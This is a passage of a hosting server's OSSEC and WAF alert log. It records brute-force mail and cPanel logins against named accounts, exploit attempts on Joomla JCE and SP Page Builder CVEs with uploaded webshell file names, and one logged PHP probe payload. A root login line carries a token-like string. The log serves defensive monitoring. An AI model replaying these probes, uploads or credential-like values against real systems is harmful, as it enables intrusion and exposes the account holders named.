plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-14 07:20:10 dovecot_login authenticator failed for H=([184.170.245.145]) [188.122.39.33]:60482: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-14 07:22:41 dovecot_login authenticator failed for H=(158.219.199.104.bc.googleusercontent.com) [182.95.176.122]:54976: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-14 07:23:02 dovecot_login authenticator failed for H=(163.29.25.31.convex-tagil.ru) [59.6.72.106]:21152: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-14 07:25:39 dovecot_login authenticator failed for H=([185.113.175.27]) [140.130.98.240]:49641: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-14 07:30:18 dovecot_login authenticator failed for H=([192.111.135.19]) [98.122.215.23]:44736: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 141.11.2.101
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:rce.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 173.225.100.133
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://jodhpurtrends.in/product-category/industrial-furniture-jodhpur/automobile-furniture/\">automotive couch</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316832
name: IM360 WAF: Suspicious Joomla plugin installation attempt
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: Suspicious Joomla plugin installation attempt||File:helix3_template_3_1_2.zip||RSV:8.28||T:APACHE||Install directory:/home/alnay/public_html/tmp||


plugin: modsec
rule: 77316832
name: IM360 WAF: Suspicious Joomla plugin installation attempt
abuser: 223.181.13.36
country_id: 1269750
domain: alnayza.com
description:
IM360 WAF: Suspicious Joomla plugin installation attempt||File:helixultimate_template_v2.2.8.zip||RSV:8.28||T:APACHE||Install directory:/home/alnay/public_html/tmp||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-14 07:39:07 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net (ns1.sinergi.net.id) [108.35.129.132]:52392: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-14 07:40:12 dovecot_login authenticator failed for H=(193.208.165.103.net.iforte.net.id) [41.215.125.250]:47970: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-14 07:40:59 dovecot_login authenticator failed for H=([218.236.107.228]) [182.78.86.62]:55400: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783995126580.pHp||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-14 07:42:15 +0530] info [whostmgrd] 223.181.13.36 NEW root:HMr_DFfeRtxFl_TD address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.197.40.176
country_id: 3703430
domain: www.gsmex.global
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.gsmex.global/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.160.107
country_id: 99237
description:
2026-07-14 07:49:13 dovecot_plain authenticator failed for H=(hylous) [65.20.160.107]:43447: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: modsec
rule: 77102143
abuser: 141.11.2.101
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/||RF:/||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 141.11.2.101
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:s.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-14 07:52:03 dovecot_login authenticator failed for H=([98.181.137.75]) [222.120.63.29]:45177: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-14 07:57:06 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([182.95.101.182]) [90.230.115.5]:38442: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-14 07:57:20 dovecot_login authenticator failed for H=([211.49.49.137]) [71.12.241.225]:50058: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-14 07:59:50 dovecot_login authenticator failed for H=([98.190.239.1]) [5.48.46.95]:46976: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.146.144
country_id: 1819730
description:
2026-07-14 08:07:32 dovecot_login authenticator failed for H=([183.36.25.148]) [121.202.146.144]:33865: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-14 08:07:44 dovecot_login authenticator failed for H=([174.64.199.88]) [182.78.86.62]:46080: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-14 08:07:59 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([109.173.107.163]) [85.29.246.199]:45254: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.6.18.218
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap150.xml HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-14 08:09:05 dovecot_login authenticator failed for H=([124.238.104.74]) [122.185.146.166]:53320: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-14 08:09:27 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [117.250.107.180]:42719: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.152
country_id: 1668284
description:
2026-07-14 08:10:32 dovecot_login authenticator failed for H=110-25-112-152.adsl.fetnet.net ([197.156.121.38]) [110.25.112.152]:33992: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-07-14 08:11:04 dovecot_login authenticator failed for H=(177-174-108-1.user.vivozap.com.br) [172.90.128.97]:51376: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.115.191.84
country_id: 1835841
description:
2026-07-14 08:15:21 dovecot_login authenticator failed for H=([183.36.25.148]) [211.115.191.84]:36486: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-14 08:16:02 dovecot_login authenticator failed for H=([119.200.229.33]) [218.156.93.202]:35472: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-14 08:19:09 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com ([94.25.40.30]) [90.230.168.26]:34202: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.20.78
country_id: 3017382
description:
2026-07-14 08:21:07 dovecot_login authenticator failed for H=vps-5b692794.vps.ovh.net ([197.164.129.101]) [213.32.20.78]:35846: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-14 08:21:29 dovecot_login authenticator failed for H=([70.166.167.59]) [182.76.71.82]:46224: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.124
country_id: 1036973
description:
2026-07-14 08:22:12 dovecot_login authenticator failed for H=([142.54.235.12]) [196.28.226.124]:51107: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.211
country_id: 294640
description:
2026-07-14 08:24:02 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [84.111.136.211]:38012: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-14 08:26:59 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [101.13.5.50]:33428: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-14 08:27:20 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [184.57.39.170]:50911: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-14 08:27:29 dovecot_login authenticator failed for H=([112.31.93.229]) [219.248.4.146]:42382: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-14 08:27:35 dovecot_login authenticator failed for H=(115.150.48.116.static.netvigator.com) [193.46.192.20]:49891: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 207.58.142.71
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcewz9j3rb6.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 107.170.27.110
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.28||T:APACHE||MV:@unlink('callans.php');$s=\"WINNT\";if(PHP_OS==$s){$s=\"WIN\";}else{$s=\"NIX\";}echo \"z5a7\".\"ht8d=\".$s.\"=\";||SC:/home/gsmex/public_html/e6f00c9e3bindex.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-14 08:45:30 dovecot_login authenticator failed for H=(111-70-38-53.emome-ip.hinet.net) [182.95.217.202]:52050: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.24
country_id: 1668284
description:
2026-07-14 08:51:11 dovecot_login authenticator failed for H=221-120-73-24.emome-ip.hinet.net ([149.54.62.58]) [221.120.73.24]:54819: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.70.36
country_id: 1835841
description:
2026-07-14 08:51:32 dovecot_login authenticator failed for H=([180.250.112.148]) [182.31.70.36]:57859: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 14 08:52:36 vps sshd[1169655]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-14 08:54:32 dovecot_login authenticator failed for H=(47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net) [101.13.1.58]:56550: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-14 08:56:41 dovecot_login authenticator failed for H=(110-25-107-25.adsl.fetnet.net) [117.205.2.250]:51343: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783999692692.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-14 08:57:06 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd ([111.26.62.46]) [113.11.34.221]:59356: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.80.105
country_id: 1269750
description:
2026-07-14 08:58:58 dovecot_login authenticator failed for H=([192.111.131.4]) [122.160.80.105]:54374: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-07-14 09:00:04 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [154.146.238.122]:42014: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.44.175.24
country_id: 357994
description:
2026-07-14 08:59:23 dovecot_login authenticator failed for H=(mail.tataidc.com) [102.44.175.24]:58668: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-14 09:00:41 dovecot_plain authenticator failed for H=(peribbiges) [122.187.221.130]:45640: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-14 09:01:21 dovecot_login authenticator failed for H=([209.14.85.116]) [119.192.59.80]:38464: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-14 09:01:20 dovecot_login authenticator failed for H=([220.126.215.120]) [47.234.138.49]:35248: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.118.20.106
country_id: 2921044
description:
2026-07-14 09:01:54 dovecot_login authenticator failed for H=ip-084-118-020-106.um23.pools.vodafone-ip.de ([182.95.189.66]) [84.118.20.106]:14694: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-14 09:02:09 dovecot_login authenticator failed for H=([47.215.0.185]) [112.160.57.196]:40566: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-14 09:02:24 dovecot_login authenticator failed for H=([82.162.56.186]) [27.123.114.190]:40648: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.160.209.29
country_id: 1562822
description:
2026-07-14 09:02:37 dovecot_login authenticator failed for H=([27.115.113.138]) [113.160.209.29]:51796: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-14 09:02:49 dovecot_login authenticator failed for H=([121.66.63.186]) [74.195.53.129]:46624: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77469916
abuser: 137.184.217.230
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceue2eaevp.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-14 09:06:25 dovecot_login authenticator failed for H=([68.71.240.212]) [102.211.7.162]:38718: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.25
country_id: 1668284
description:
2026-07-14 09:06:48 dovecot_login authenticator failed for H=221-120-73-25.emome-ip.hinet.net ([45.164.115.86]) [221.120.73.25]:42754: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-14 09:08:56 dovecot_login authenticator failed for H=([37.28.177.141]) [182.95.101.182]:49322: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-14 09:08:45 dovecot_login authenticator failed for H=(nsg-corporate-110.116.187.122.airtel.in) [203.194.5.183]:47621: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 95.70.149.146
country_id: 298795
domain: jaashsupplies.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico0lkmow/fonts/shfmza.phar||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2406:6d00:ffb:1200:7014:7ecf:dd9b:4cc4
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Major||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784000787836.pHp||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 102.220.160.153
country_id: 3190538
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/images/images/images/images/images/images/cache.php||SC:/home/globalgroupoman/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-14 09:17:06 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([149.54.62.114]) [85.195.9.20]:34860: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.158.2
country_id: 1269750
description:
2026-07-14 09:17:17 dovecot_login authenticator failed for H=([49.124.153.13]) [125.19.158.2]:47896: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77469916
abuser: 137.184.217.230
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcer71eui0l.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-14 09:18:52 dovecot_login authenticator failed for H=([70.166.167.49]) [202.62.88.25]:38750: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-14 09:19:13 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com (ip-68-71-242-113.hosts.zerolag.com) [94.255.255.26]:44508: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.58
country_id: 1668284
description:
2026-07-14 09:23:02 dovecot_login authenticator failed for H=110-25-109-58.adsl.fetnet.net ([175.198.18.3]) [110.25.109.58]:55695: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.138.198.0
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ogocindia||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.71.26
country_id: 1835841
description:
2026-07-14 09:34:50 dovecot_login authenticator failed for H=([196.188.187.205]) [182.31.71.26]:53147: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-14 09:35:06 dovecot_login authenticator failed for H=(c-174-168-146-152.hsd1.ct.comcast.net) [103.120.116.162]:48278: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-14 09:37:36 dovecot_login authenticator failed for H=([58.218.254.214]) [121.202.138.181]:50318: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-07-14 09:48:28 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com ([176.57.76.206]) [35.130.111.98]:39436: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.142.138
country_id: 1733045
description:
2026-07-14 09:48:41 dovecot_login authenticator failed for H=(nsg-corporate-110.116.187.122.airtel.in) [49.124.142.138]:39214: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-14 09:50:49 dovecot_login authenticator failed for H=(nsg-static-057.88.71.182.airtel.in) [122.185.146.166]:57918: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-14 09:52:05 dovecot_login authenticator failed for H=([220.180.249.165]) [122.187.221.130]:51906: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-14 09:51:46 dovecot_login authenticator failed for H=([70.166.167.35]) [136.35.246.152]:33632: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-14 09:54:04 dovecot_login authenticator failed for H=([220.124.230.188]) [1.250.67.190]:57166: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.182
country_id: 1668284
description:
2026-07-14 09:54:18 dovecot_login authenticator failed for H=(187.62.152.28.megalinkinternet.com.br) [101.13.2.182]:51391: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.27.58.102
country_id: 6252001
description:
[2026-07-14 09:54:59 +0530] info [cpaneld] 73.27.58.102 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.65.85.239
country_id: 6252001
description:
[2026-07-14 09:55:02 +0530] info [cpaneld] 66.65.85.239 - globalgroupoman "GET /login/?login_only=1&user=globalgroupoman&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.197.216.251
country_id: 6252001
description:
[2026-07-14 09:55:06 +0530] info [cpaneld] 75.197.216.251 - globalgroupomancom "GET /login/?login_only=1&user=globalgroupomancom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgroupomancom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 137.118.181.4
country_id: 6252001
description:
[2026-07-14 09:55:11 +0530] info [cpaneld] 137.118.181.4 - globalgr "GET /login/?login_only=1&user=globalgr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.24.224.49
country_id: 6252001
description:
[2026-07-14 09:55:14 +0530] info [cpaneld] 98.24.224.49 - globalg1 "GET /login/?login_only=1&user=globalg1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.163.91.214
country_id: 6252001
description:
[2026-07-14 09:55:20 +0530] info [cpaneld] 73.163.91.214 - globalg2 "GET /login/?login_only=1&user=globalg2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg2 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-14 09:54:28 dovecot_login authenticator failed for H=(mission-web-hosting.com) [197.242.170.10]:55084: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.41.221.95
country_id: 6252001
description:
[2026-07-14 09:55:24 +0530] info [cpaneld] 108.41.221.95 - globalg3 "GET /login/?login_only=1&user=globalg3&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg3 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.203.131.200
country_id: 6252001
description:
[2026-07-14 09:55:29 +0530] info [cpaneld] 72.203.131.200 - globalg4 "GET /login/?login_only=1&user=globalg4&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg4 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-14 09:57:07 dovecot_login authenticator failed for H=(95-87-248-223.ip.btc-net.bg) [64.72.74.162]:47499: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.77.49.131
country_id: 1269750
description:
2026-07-14 09:57:08 dovecot_login authenticator failed for H=([183.104.220.195]) [182.77.49.131]:60138: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.226.139
country_id: 1835841
description:
